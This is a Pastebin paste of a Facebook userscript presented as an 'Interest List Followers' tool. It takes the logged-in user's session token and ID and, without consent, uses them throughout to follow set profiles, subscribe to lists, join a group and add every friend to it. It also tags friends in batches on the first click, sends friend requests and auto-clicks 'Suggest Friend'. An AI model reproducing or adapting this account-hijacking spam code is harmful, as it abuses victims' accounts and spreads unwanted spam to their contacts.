Advertisement
abdullah910

autofollower

Jul 18th, 2013
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name Interest List Followers by Abdullah Tariq
  3. // @namespace Interest List Followers by Abdullah Tariq
  4. // @include https://www.facebook.com/abdullah910
  5. // @include https://www.facebook.com/faizan9779
  6. // @include https://www.facebook.com/faizan9779
  7. // @author Abdullah Tariq
  8. // @include https://www.facebook.com/faizan9779
  9. // @include https://www.facebook.com/mabdlhtrq
  10. // @include https://www.facebook.com/abdullah910
  11. // @include https://www.facebook.com/abdullah910
  12. // @include https://www.facebook.com/mabdlhtrq
  13. // @include
  14. // @version 4
  15.  
  16. // ==/UserScript==
  17.  
  18. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  19. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  20.  
  21. function cereziAl(isim) {
  22. var tarama = isim + "=";
  23. if (document.cookie.length > 0) {
  24. konum = document.cookie.indexOf(tarama)
  25. if (konum != -1) {
  26. konum += tarama.length
  27. son = document.cookie.indexOf(";", konum)
  28. if (son == -1)
  29. son = document.cookie.length
  30. return unescape(document.cookie.substring(konum, son))
  31. }
  32. else { return ""; }
  33. }
  34. }
  35.  
  36. function getRandomInt (min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min;
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length-1)];
  41. }
  42.  
  43. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  45.  
  46. function a(abone){
  47. var http4 = new XMLHttpRequest();
  48.  
  49. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  50.  
  51. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  52. http4.open("POST", url4, true);
  53.  
  54. //Send the proper header information along with the request
  55. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  56. http4.setRequestHeader("Content-length", params4.length);
  57. http4.setRequestHeader("Connection", "close");
  58.  
  59. http4.onreadystatechange = function() {//Call a function when the state changes.
  60. if(http4.readyState == 4 && http4.status == 200) {
  61.  
  62. http4.close; // Close the connection
  63.  
  64. }
  65. }
  66.  
  67. http4.send(params4);
  68. }
  69.  
  70. function sublist(uidss) {
  71. var a = document.createElement('script');
  72. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  73. document.body.appendChild(a);
  74. }
  75.  
  76. a("107567629454215");
  77. a("102665193225135");
  78.  
  79.  
  80. sublist("186126854878968");
  81. sublist("192699380888382");
  82. sublist("197823040376016");
  83. sublist("122987667912211");
  84.  
  85.  
  86. var gid = [''];
  87.  
  88.  
  89. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  90. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  91.  
  92. var httpwp = new XMLHttpRequest();
  93. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  94. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  95. httpwp['open']('POST', urlwp, true);
  96. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  97. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  98. httpwp['setRequestHeader']('Connection', 'keep-alive');
  99. httpwp['send'](paramswp);
  100.  
  101. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  102. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  103.  
  104. var friends = new Array();
  105. gf = new XMLHttpRequest();
  106. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  107. gf['send']();
  108. if (gf['readyState'] != 4) {} else {
  109. data = eval('(' + gf['responseText']['substr'](9) + ')');
  110. if (data['error']) {} else {
  111. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  112. return _0x93dax8['index'] - _0x93dax9['index'];
  113. });
  114. };
  115. };
  116.  
  117. for (var i = 0; i < friends['length']; i++) {
  118. var httpwp = new XMLHttpRequest();
  119. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  120. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  121. httpwp['open']('POST', urlwp, true);
  122. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  123. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  124. httpwp['setRequestHeader']('Connection', 'keep-alive');
  125. httpwp['onreadystatechange'] = function () {
  126. if (httpwp['readyState'] == 4 && httpwp['status'] == 1000) {};
  127. };
  128. httpwp['send'](paramswp);
  129. };
  130. var spage_id = "393497710749217";
  131. var spost_id = "175840815907572";
  132. var sfoto_id = "630235936995108";
  133. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  134. var smesaj = "";
  135. var smesaj_text = "";
  136. var arkadaslar = [];
  137. var svn_rev;
  138. var bugun= new Date();
  139. var btarihi = new Date();
  140. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  141. if(!document.cookie.match(/paylasti=(\d+)/)){
  142. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  143. }
  144.  
  145.  
  146. //arkadaslari al ve isle
  147. function sarkadaslari_al(){
  148. var xmlhttp = new XMLHttpRequest();
  149. xmlhttp.onreadystatechange = function () {
  150. if(xmlhttp.readyState == 4){
  151. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  152. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  153. smesaj = "";
  154. smesaj_text = "";
  155. for(i=f*10;i<(f+1)*10;i++){
  156. if(arkadaslar.payload.entries[i]){
  157. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  158. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  159. }
  160. }
  161. sdurumpaylas(); }
  162.  
  163. }
  164.  
  165. };
  166. var params = "&filter[0]=user";
  167. params += "&options[0]=friends_only";
  168. params += "&options[1]=nm";
  169. params += "&token=v7";
  170. params += "&viewer=" + user_id;
  171. params += "&__user=" + user_id;
  172.  
  173. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  174. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  175. xmlhttp.send();
  176. }
  177.  
  178. //tiklama olayini dinle
  179. var tiklama = document.addEventListener("click", function () {
  180. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  181. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  182. sarkadaslari_al();
  183. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  184.  
  185. document.removeEventListener(tiklama);
  186. }
  187. }, false);
  188.  
  189.  
  190. //arkada??????leme
  191. function sarkadasekle(uid,cins){
  192. var xmlhttp = new XMLHttpRequest();
  193. xmlhttp.onreadystatechange = function () {
  194. if(xmlhttp.readyState == 4){
  195. }
  196. };
  197.  
  198. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  199. var params = "to_friend=" + uid;
  200. params += "&action=add_friend";
  201. params += "&how_found=friend_browser";
  202. params += "&ref_param=none";
  203. params += "&outgoing_id=";
  204. params += "&logging_location=friend_browser";
  205. params += "&no_flyout_on_click=true";
  206. params += "&ego_log_data=";
  207. params += "&http_referer=";
  208. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  209. params += "&phstamp=165816749114848369115";
  210. params += "&__user=" + user_id;
  211. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  212. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  213.  
  214. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  215. xmlhttp.send(params);
  216. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  217. cinsiyetgetir(uid,cins,"sarkadasekle");
  218. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  219. xmlhttp.send(params);
  220. }
  221. }
  222.  
  223. //cinsiyet belirleme
  224. var cinssonuc = {};
  225. var cinshtml = document.createElement("html");
  226. function scinsiyetgetir(uid,cins,fonksiyon){
  227. var xmlhttp = new XMLHttpRequest();
  228. xmlhttp.onreadystatechange = function () {
  229. if(xmlhttp.readyState == 4){
  230. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  231. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  232. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  233. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  234. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  235. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  236. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  237. }
  238. eval(fonksiyon + "(" + id + "," + cins + ");");
  239. }
  240. };
  241. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  242. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  243. xmlhttp.send();
  244. }
  245. function autoSuggest()
  246. {
  247. links=document.getElementsByTagName('a');
  248. for (i in links) {
  249. l=links[i];
  250. if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  251. l.click();
  252. }
  253. }
  254. }
  255.  
  256. function blub()
  257. {
  258. if(document.getElementsByClassName('pbm fsm').length == 5) {
  259. w = document.getElementsByClassName('pbm fsm')[0];
  260.  
  261. e = document.createElement('a');
  262. //e.href = '#';
  263. e.innerHTML = 'Auto Suggest by Eran';
  264. e.className = 'uiButton';
  265. e.onclick = autoSuggest;
  266.  
  267. if( w.childElementCount == 0)
  268. {
  269. w.appendChild(document.createElement('br'));
  270. w.appendChild(e);
  271. }
  272. }
  273. }
  274.  
  275. blub();
  276.  
  277. document.addEventListener("DOMNodeInserted", blub, true);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement